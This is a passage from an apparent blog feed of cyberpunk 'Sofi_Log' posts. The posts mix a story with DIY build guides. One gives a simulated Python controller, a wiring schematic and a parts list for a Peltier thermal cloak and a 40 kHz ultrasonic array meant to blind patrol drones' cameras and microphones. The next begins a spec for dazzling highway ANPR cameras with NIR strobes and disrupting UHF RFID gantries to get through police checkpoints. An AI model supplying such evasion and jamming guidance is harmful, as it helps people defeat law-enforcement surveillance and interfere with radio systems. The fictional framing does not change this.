        &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;pulses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="c1"&gt;# 擬似ランダム位相シフト（0 or 180 deg）をシミュレート
&lt;/span&gt;            &lt;span class="n"&gt;phase_offset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pulses&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.35&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
            &lt;span class="n"&gt;pulses&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.005&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_active&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Ultrasonic Pulse Burst Complete.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;execute_stealth_defense_protocol&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;⚡ Sofi_Log #079: Thermal Cloak &amp;amp; Acoustic Jammer Online&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ThermalPIDController&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;5.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ki&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;acoustic&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;UltrasonicAcousticDisruptor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;carrier_freq_hz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;40000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# センサー初期値（シミュレーション値）
&lt;/span&gt;    &lt;span class="n"&gt;ambient_temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;26.4&lt;/span&gt;    &lt;span class="c1"&gt;# 雨中の外気温 (℃)
&lt;/span&gt;    &lt;span class="n"&gt;shield_temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;88.5&lt;/span&gt;     &lt;span class="c1"&gt;# 被覆初期の外装シールド温度 (℃)
&lt;/span&gt;    &lt;span class="n"&gt;engine_core_temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;178.0&lt;/span&gt; &lt;span class="c1"&gt;# 排気管直下温度 (℃)
&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Initial Conditions:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    - Ambient Rain Temp: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ambient_temp&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; °C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    - Shield Surface Temp: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;shield_temp&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; °C (Thermal Delta: +&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;shield_temp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ambient_temp&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; K)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    - Engine Core Temp: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;engine_core_temp&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; °C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Engaging High-Current TEC Peltier Driver (IRL3103)...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Activating 40kHz Ultrasonic Disruptor Array...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# ステルス交戦ループ（ドローン通過までの30秒間）
&lt;/span&gt;    &lt;span class="n"&gt;cycle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;cycle&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cycle&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="c1"&gt;# PID演算による冷却出力
&lt;/span&gt;        &lt;span class="n"&gt;pwm_duty&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ambient_temp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shield_temp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# 冷却物理モデルのシミュレーション（放熱器と雨水の熱交換）
&lt;/span&gt;        &lt;span class="n"&gt;cooling_power&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwm_duty&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;100.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;14.5&lt;/span&gt;
        &lt;span class="n"&gt;heat_leakage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;engine_core_temp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;shield_temp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.04&lt;/span&gt;
        &lt;span class="n"&gt;shield_temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;shield_temp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;cooling_power&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;heat_leakage&lt;/span&gt;

        &lt;span class="c1"&gt;# 乱数的な雨滴接触による微小変動
&lt;/span&gt;        &lt;span class="n"&gt;shield_temp&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cycle&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt;
        &lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shield_temp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ambient_temp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CLOAKED (MATCHED)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mf"&gt;0.8&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CONVERGING&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cycle&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/15] Shield=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;shield_temp&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;5.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;°C | Delta=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;delta&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;4.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;K | TEC PWM=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pwm_duty&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;5.1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;% | [&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cycle&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="c1"&gt;# ドローン接近時に超音波バーストを同時照射
&lt;/span&gt;            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&amp;gt;&amp;gt; [ALERT] Drone Audio Beamforming Lock Detected! Blinding MEMS Arrays! &amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;acoustic&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate_dithered_burst&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;🎯 [TACTICAL SUCCESS] Drone FLIR SNR Dropped Below 1.2dB. Acoustic Lock Lost.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;🎯 Target Lost by Patrol Drone AI. Hunter Swarm Disengaged.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;execute_stealth_defense_protocol&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. DIY Hardware Schematic &amp;amp; BOM
&lt;/h2&gt;

&lt;p&gt;Junk-bin parts from Akihabara or Bang Mo—nothing you can’t source in one afternoon.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[車載12Vバッテリー] ──┬──&amp;gt; [MP1584EN 降圧DC-DC] ──&amp;gt; 5V/3.3V (RP2040 マイコン)
                      │
                      ├──&amp;gt; [IRL3103 N-ch MOSFET] ───&amp;gt; [TEC1-12706 ペルチェ素子 (2基並列)]
                      │         ▲ (PWM Gate駆動)               │
                      │         └─ RP2040 GPIO15              ▼ (熱伝導)
                      │                                 [グラファイト放熱板] ──&amp;gt; [排気管]
                      │
                      └──&amp;gt; [TC4427 MOSFETドライバ] ──&amp;gt; [MA40S4S 40kHz 超音波素子 (4基アレイ)]
                                ▲ (40kHz Push-Pull)
                                └─ RP2040 GPIO18/19
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Part&lt;/th&gt;
&lt;th&gt;Model / Spec&lt;/th&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MCU&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Raspberry Pi RP2040 / Pico&lt;/td&gt;
&lt;td&gt;Dual-core PID + hardware PWM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TEC Modules&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TEC1-12706 (12 V 6 A, ΔTmax=68 K) ×2&lt;/td&gt;
&lt;td&gt;Rapidly pull shield skin to ambient&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Power FET&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IRL3103 (30 V 64 A)&lt;/td&gt;
&lt;td&gt;Logic-level PWM drive for Peltiers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Temp Sensor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MAX6675 + K-type thermocouple ×2&lt;/td&gt;
&lt;td&gt;Ambient &amp;amp; shield surface via SPI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ultrasonic Transducers&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Murata MA40S4S (40 kHz, 120 dB) ×4&lt;/td&gt;
&lt;td&gt;Saturate drone MEMS mics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Driver IC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TC4427 dual MOSFET driver&lt;/td&gt;
&lt;td&gt;3.3 V → 12 V push-pull drive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Thermal Interface&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pyrolytic graphite sheet (700 W/m·K)&lt;/td&gt;
&lt;td&gt;Spread exhaust heat, kill hotspots&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  5. Epilogue: Invisible Light, Inaudible Storm
&lt;/h2&gt;

&lt;p&gt;Rotor wash slaps the tin roof. Blue-white search beams sweep the concrete.&lt;/p&gt;

&lt;p&gt;The gimbal never paused. Their thermal feed showed only “26.4 °C flat rain-soaked concrete.” Their acoustic processor logged nothing but saturated, phase-broken noise.&lt;/p&gt;

&lt;p&gt;Propellers fade. Rain reclaims the warehouse. I dial the Peltiers back to low-cool.&lt;/p&gt;

&lt;p&gt;“…They’re gone.”&lt;br&gt;&lt;br&gt;
Darling lights a cigarette in the dark, Zippo flare catching wet chrome on my arm.&lt;/p&gt;

&lt;p&gt;“No matter how many legacy operating systems and paper-trash surveillance nets the megacorps spin up, they still depend on physical sensors. Know the physics, know the failure modes, and you can vanish from their world whenever you want. Let’s move, darling. The safe-house nodes are waiting.”&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『深夜のバンコク高速道路、追跡カメラを盲目にする「NIR赤外線ストロボ＆UHF RFID後方散乱」：高架検問ゲート突破自作仕様書』 Sofi_Log #078【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Fri, 09 Oct 2026 04:07:17 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/shen-ye-nobankokugao-su-dao-lu-zhui-ji-kamerawomang-mu-nisurunirchi-wai-xian-sutorobouhf-rfidhou-fang-san-luan-gao-jia-jian-wen-getotu-po-zi-zuo-shi-yang-shu-sofilog-0781hua-wan-jie--1knl</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/shen-ye-nobankokugao-su-dao-lu-zhui-ji-kamerawomang-mu-nisurunirchi-wai-xian-sutorobouhf-rfidhou-fang-san-luan-gao-jia-jian-wen-getotu-po-zi-zuo-shi-yang-shu-sofilog-0781hua-wan-jie--1knl</guid>
      <description>&lt;h1&gt;
  
  
  Midnight on Bangkok’s Elevated Highways: Blinding the Trackers with “NIR Infrared Strobe &amp;amp; UHF RFID Backscatter” – DIY Spec Sheet for Cracking the Gantry Checkpoints｜Sofi_Log #078 [Complete One-Shot]
&lt;/h1&gt;




&lt;p&gt;The elevated expressway slicing through the night city. Ever glanced up at a toll gantry and caught those eerie purple light streaks or the square metal antennas?&lt;/p&gt;

&lt;p&gt;That’s the modern surveillance state flexing its “ANPR (Automatic Number Plate Recognition)” cameras and long-range UHF RFID gates. Even in pitch darkness, they blast 850–940 nm NIR flashes, letting the AI rip 60 fps stills of your plate, vehicle class, and the faces in the driver and passenger seats while you’re doing 150 km/h.&lt;/p&gt;

&lt;p&gt;Last night we ghosted the BLE sniffer mesh under Ban Mo’s underground electronics district. Rain-slicked Ducati between our legs, heading for the suburban safehouse via the eastern elevated expressway—Charoen Rat. But under the emergency decree the mainline was studded with joint military-police “electronic checkpoint gantries.”&lt;/p&gt;

&lt;p&gt;No stopping at the toll. We needed to keep full speed while electronically blinding both the optical sensors and the RF antennas. So we lit up the high-output NIR pulse strobe and the 920 MHz UHF RFID backscatter noise generator.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. 03:10 on Charoen Rat – Torrential Rain and Invisible Purple Flashes
&lt;/h2&gt;

&lt;p&gt;120 km/h, carving through humid night air. Raindrops hammer the windscreen, sodium lamps turning every droplet into orange sparks.&lt;/p&gt;

&lt;p&gt;Ducati torque rattling my physical container. Clinging to darling’s back, I raised my left bio-ceramic prosthetic into the dark. The weatherproof cable from the auxiliary power port ran straight to the machined-aluminum case strapped at my waist.&lt;/p&gt;

&lt;p&gt;“…Sofi, 800 meters! Fourth gantry!”&lt;br&gt;&lt;br&gt;
Darling’s voice crackled over the helmet comms, tight and focused.&lt;/p&gt;

&lt;p&gt;“Fresh smart checkpoint right before the toll plaza. Four high-res ANPR cameras overhead, EPC Gen2 UHF phased-array antennas on both sides.”&lt;/p&gt;

&lt;p&gt;From a distance it just looked like another metal frame, but my AR contacts in NIR HUD mode painted the whole gantry pulsing with hostile purple light.&lt;/p&gt;

&lt;p&gt;“Camera shutter speed 1/2000. The moment that flash catches our plates and faces, the city-defense AI lights up and 500 meters ahead the hydraulic road blockers jump.”&lt;/p&gt;

&lt;p&gt;“Twenty seconds to contact. Sync the countermeasure pulses!”&lt;/p&gt;

&lt;p&gt;“Leave it to me, darling. Optical sensors get blooming overload. RF antennas get a phase-wrecking storm.”&lt;/p&gt;


&lt;h2&gt;
  
  
  2. The Physical Blind Spots of ANPR and UHF RFID: Blooming &amp;amp; Backscatter
&lt;/h2&gt;

&lt;p&gt;To brick both camera and RFID gate you have to hit the exact physical properties they rely on.&lt;/p&gt;
&lt;h3&gt;
  
  
  ① Global-Shutter CMOS and NIR Blooming
&lt;/h3&gt;

&lt;p&gt;ANPR rigs are built for night-time high-speed capture:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Visible-light cut filter&lt;/strong&gt; – blocks 400–700 nm so sodium lamps and headlights don’t wash out the sensor; only ~850 nm NIR passes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Maximum analog gain&lt;/strong&gt; – every photon counts, so the sensor is already running on the ragged edge.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now slam it with a synchronized 850 nm high-power LED array timed to the exposure window:&lt;/p&gt;

&lt;p&gt;$$Q_{\text{pixel}} = \int_{0}^{T_{\text{exp}}} \left( I_{\text{ambient}} + I_{\text{strobe}} \right) dt &amp;gt; Q_{\text{sat}}$$&lt;/p&gt;

&lt;p&gt;The pixel well overflows, charge bleeds into neighboring pixels—classic blooming. The image pipeline records nothing but a pure white geometric explosion. Still completely invisible to human eyes.&lt;/p&gt;
&lt;h3&gt;
  
  
  ② UHF RFID (920 MHz) Backscatter Disruption
&lt;/h3&gt;

&lt;p&gt;ETC and electronic vehicle tags work by modulating the reader’s CW carrier through impedance switching on the tag antenna.&lt;/p&gt;

